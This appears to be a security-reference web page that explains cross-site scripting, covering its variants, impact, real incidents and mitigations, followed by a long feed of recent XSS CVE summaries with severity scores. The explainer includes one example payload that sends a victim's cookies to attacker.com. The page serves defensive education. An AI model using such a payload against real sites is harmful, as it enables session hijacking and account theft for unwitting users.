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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (38892)

EPSS 0% CVSS 6.1
MEDIUM POC This Month

In Gitblit v1.7.1, a reflected cross-site scripting (XSS) vulnerability exists in the way repository path names are handled. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitblit
NVD GitHub
EPSS 0% CVSS 5.6
MEDIUM POC This Month

diskover-web v2.3.0 Community Edition suffers from multiple stored cross-site scripting (XSS) vulnerabilities in its administrative settings interface. Rated medium severity (CVSS 5.6), this vulnerability is remotely exploitable, no authentication required. Public exploit code available and no vendor patch available.

XSS Diskover
NVD GitHub
EPSS 0% CVSS 5.6
MEDIUM POC This Month

diskover-web v2.3.0 Community Edition is vulnerable to multiple reflected cross-site scripting (XSS) flaws in its web interface. Rated medium severity (CVSS 5.6), this vulnerability is remotely exploitable, no authentication required. Public exploit code available and no vendor patch available.

XSS Diskover
NVD GitHub
EPSS 0% CVSS 8.8
HIGH This Month

Stored XSS vulnerability exists in the "Oddział" (Ward) module, in the death diagnosis description field, and allows the execution of arbitrary JavaScript code. Rated high severity (CVSS 8.8), this vulnerability is low attack complexity. No vendor patch available.

Privilege Escalation XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in mibuthu Link View allows Stored XSS.8.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in chaimchaikin Admin Menu Groups allows Stored XSS.1.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Lazy Load for Videos plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its lazy‑loading handlers in all versions up to, and including, 2.18.7 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.4
MEDIUM Monitor

The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Import in all versions up to, and including, 7.97 due to insufficient input. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The SiteSEO - SEO Simplified plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the broken preg_replace expression in all versions up to, and including, 1.2.7 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Mahara before 22.10.6, 23.04.6, and 24.04.1 allows cross-site scripting (XSS) via a file, with JavaScript code as part of its name, that is uploaded via the Mahara filebrowser system. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mahara
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

IPFire 2.29 web-based firewall interface (firewall.cgi) fails to sanitize several rule parameters such as PROT, SRC_PORT, TGT_PORT, dnatport, key, ruleremark, src_addr, std_net_tgt, and tgt_addr,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ipfire
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

IPFire 2.29 DNS management interface (dns.cgi) fails to properly sanitize user-supplied input in the NAMESERVER, REMARK, and TLS_HOSTNAME query parameters, resulting in a reflected cross-site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ipfire
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A Stored Cross-Site Scripting (XSS) vulnerability in SourceCodester FAQ Management System 1.0 allows an authenticated attacker to inject malicious JavaScript into the 'question' and 'answer' fields. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Faq Management System
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in Helpy.io v.2.8.0 allows a remote attacker to escalate privileges via the New Topic Ticket funtion. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Helpy
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

IBM Cognos Command Center 10.2.4.1 and 10.2.5 could allow a remote attacker to hijack the clicking action of the victim. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

IBM XSS Cognos Command Center
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A cross-site scripting (XSS) vulnerability exists in Nagios XI 2024R2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Nagios Xi
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

SelectZero Data Observability Platform before 2025.5.2 is vulnerable to HTML Injection. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Selectzero
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability has been found in NotesCMS and classified as medium. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Notescms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A vulnerability has been found in NotesCMS and classified as medium. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Notescms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A vulnerability in NotesCMS and specifically in the page /index.php?route=notes. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Notescms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

In Mahara 23.04.8 and 24.04.4, the external RSS feed block can cause XSS if the external feed XML has a malicious value for the link attribute. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mahara
NVD
EPSS 0% CVSS 4.7
MEDIUM Monitor

The WordPress Automatic Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.118.0. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

WordPress CSRF XSS +1
NVD
EPSS 0% CVSS 2.1
LOW POC Monitor

A security vulnerability has been detected in 1000projects Online Project Report Submission and Evaluation System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A weakness has been identified in 1000projects Online Project Report Submission and Evaluation System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A security flaw has been discovered in 1000projects Online Project Report Submission and Evaluation System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A vulnerability was determined in 1000projects Online Project Report Submission and Evaluation System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A vulnerability was found in mtons mblog up to 3.5.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A vulnerability has been found in mtons mblog up to 3.5.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A flaw has been found in mtons mblog up to 3.5.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

A vulnerability was detected in mtons mblog up to 3.5.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A security vulnerability has been detected in mtons mblog up to 3.5.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

A vulnerability was found in oitcode samarium up to 0.9.6. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW Monitor

A security flaw has been discovered in oitcode samarium up to 0.9.6. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross Site Scripting vulnerability in docmost v.0.21.0 and before allows an attacker to execute arbitrary code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE XSS Docmost
NVD GitHub
EPSS 0% CVSS 8.8
HIGH POC This Week

FoxCMS 1.2.6, there is a Cross Site Scripting vulnerability in /index.php/article. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP RCE XSS +1
NVD
EPSS 0% CVSS 8.5
HIGH This Week

A Stored Cross-Site Scripting (XSS) vulnerability has been identified in OpenText Enterprise Security Manager. Rated high severity (CVSS 8.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

An issue was discovered in Mahara 24.04 before 24.04.2 and 23.04 before 23.04.7. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mahara
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

A flaw has been found in mtons mblog up to 3.5.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 8.5
HIGH This Month

A stored XSS vulnerability in Quantum Manager component 1.0.0-3.2.0 for Joomla was discovered. Rated high severity (CVSS 8.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Joomla
NVD
EPSS 0% CVSS 8.5
HIGH This Month

A stored XSS vulnerability in Quantum Manager component 1.0.0-3.2.0 for Joomla was discovered. Rated high severity (CVSS 8.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Joomla
NVD
EPSS 0% CVSS 1.9
LOW POC Monitor

A vulnerability was identified in Scada-LTS up to 2.7.8.1. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was determined in Scada-LTS up to 2.7.8.1. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Spexo Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Countdown widget in all versions up to, and including, 1.0.23 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 9.6
CRITICAL POC PATCH Act Now

A critical stored Cross-Site Scripting (XSS) vulnerability exists in the Analytics component of lunary-ai/lunary versions up to 1.9.23, where the NEXT_PUBLIC_CUSTOM_SCRIPT environment variable is. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Lunary
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Ogulo - 360° Tour plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘slug’ parameter in all versions up to, and including, 1.0.11 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WS Theme Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's ws_weather shortcode in all versions up to, and including, 2.0.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The ShortcodeHub plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘author_link_target’ parameter in all versions up to, and including, 1.7.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.9
MEDIUM PATCH This Month

A Stored cross-site scripting vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 4.6
MEDIUM PATCH Monitor

Stored cross-site scripting (XSS) vulnerability in Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q3.1 through 2024.Q3.8, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12 and. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 6.9
MEDIUM PATCH This Month

A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.3, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 6.9
MEDIUM PATCH This Month

A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.4, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 2.1
LOW PATCH Monitor

Improper Output Neutralization for Logs vulnerability in Apache Log4cxx. Rated low severity (CVSS 2.1), this vulnerability is remotely exploitable, no authentication required.

Apache XSS Log4Cxx
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Reflected Cross-Site Scripting in the Change Template function in Easy Hosting Control Panel (EHCP) 20.04.1.b allows authenticated attackers to execute arbitrary JavaScript via the template parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Easy Hosting Control Panel
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Reflected Cross-Site Scripting in the List MySQL Databases function in Easy Hosting Control Panel (EHCP) 20.04.1.b allows authenticated attackers to execute arbitrary JavaScript via the action. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Easy Hosting Control Panel
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q1.0 through 2025.Q1.4, 2024.Q4.0 through 2024.Q4.6, 2024.Q3.0 through. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the valuateJavascript() function of Reolink v4.54.0.4.20250526 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Reolink
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

NextChat contains a cross-site scripting (XSS) vulnerability in the HTMLPreview component of artifacts.tsx that allows attackers to execute arbitrary JavaScript code when HTML content is rendered in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 8.8
HIGH POC This Week

QuantumNous new-api v.0.8.5.2 is vulnerable to Cross Site Scripting (XSS). Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS New Api
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM QRadar SIEM 7.5 through 7.5.0 Dashboard is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Qradar Incident Forensics +1
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpecommerce Recurring PayPal Donations allows Stored XSS.8. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pierre Lannoy Sessions allows Stored XSS.2.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NooTheme Jobmonster allows Stored XSS.8.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH POC This Month

The WP Talroo WordPress plugin through 2.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Talroo +1
NVD WPScan
EPSS 0% CVSS 2.1
LOW PATCH Monitor

A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.3.32 through 7.4.3.132, and Liferay DXP 2025.Q1.0 through 2025.Q1.7, 2024.Q4.0 through 2024.Q4.7, 2024.Q3.1 through. Rated low severity (CVSS 2.1), this vulnerability is remotely exploitable. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

There is a stored Cross-site Scripting vulnerability in Esri Portal for ArcGIS Enterprise Sites versions 10.9.1 - 11.4 that may allow a remote, authenticated attacker to inject malicious a file with. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Portal For Arcgis
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

There is a stored Cross-site Scripting vulnerability in Esri Portal for ArcGIS Enterprise Sites versions 10.9.1 - 11.4 that may allow a remote, authenticated attacker to inject malicious a file with. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Portal For Arcgis
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

There is a stored Cross-site Scripting vulnerability in Esri Portal for ArcGIS Enterprise Sites versions 10.9.1 - 11.4 that may allow a remote, authenticated attacker to inject malicious a file with. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Portal For Arcgis
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

A stored cross-site scripting (XSS) vulnerability exists ArcGIS HUB and ArcGIS Enterprise Sites which allows an authenticated user with the ability to create or edit a site to add and store an XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Portal For Arcgis
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH Monitor

There is a stored Cross-site Scripting vulnerability in Esri Portal for ArcGIS Enterprise Sites versions 10.9.1 - 11.4 that may allow a remote, authenticated attacker to inject malicious a file with. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Portal For Arcgis
NVD
EPSS 0% CVSS 7.0
HIGH This Week

HTML injection vulnerability in the registration interface in Evolution Consulting Kft. Rated high severity (CVSS 7.0), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.9
MEDIUM This Month

Phproject is a high performance full-featured project management system. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.9
MEDIUM POC This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in markdown-it allows Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Markdown It Red Hat +1
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM POC PATCH This Week

WeGIA is a Web manager for charitable institutions. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Wegia
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM POC PATCH This Week

WeGIA is a Web manager for charitable institutions. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Wegia
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM POC This Month

WeGIA is a Web manager for charitable institutions. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Wegia
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM POC PATCH This Month

WeGIA is a Web manager for charitable institutions. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Wegia
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM POC This Week

Cross-site scripting (XSS) vulnerability in the component /common/reports of Akaunting v3.1.18 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the name. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Akaunting
NVD GitHub
EPSS 0% CVSS 6.9
MEDIUM This Month

<!--td {border: 1px solid #cccccc;}br {mso-data-placement:same-cell;}-->A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.3.132, and Liferay DXP 2025.Q1.0 through. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 5.1
MEDIUM PATCH This Month

A Stored cross-site scripting vulnerability in the Liferay Portal 7.4.0 t through 7.4.3.132, and Liferay DXP 2025.Q2.0, 2025.Q1.0 through 2025.Q1.13, 2024.Q4.0 through 2024.Q4.7, 2024.Q3.0 through. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was detected in SourceCodester Advanced School Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 8.0
HIGH POC PATCH This Week

UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Rated high severity (CVSS 8.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Unopim Laravel
NVD GitHub
EPSS 0% CVSS 8.8
HIGH POC This Week

A Reflected Cross Site Scripting (XSS) vulnerability was found in /index.php in FoxCMS v1.2.6. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Foxcms
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Bible SuperSearch plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘selector_height’ parameter in all versions up to, and including, 6.0.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The SlingBlocks - Gutenberg Blocks by FunnelKit (Formerly WooFunnels) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Countdown block's attributes in all versions. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

Group-Office versions prior to 6.8.119 and prior to 25.0.20 provided by Intermesh BV contain a cross-site scripting vulnerability. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Microsoft XSS Group Office
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q2.0 through 2025.Q2.2, 2025.Q1.0 through 2025.Q1.14, 2024.Q4.0 through. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 5.1
MEDIUM PATCH This Month

A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q2.0 through 2025.Q2.2, 2025.Q1.0 through 2025.Q1.14, 2024.Q4.0 through. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was found in CodeAstro Ecommerce Website 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

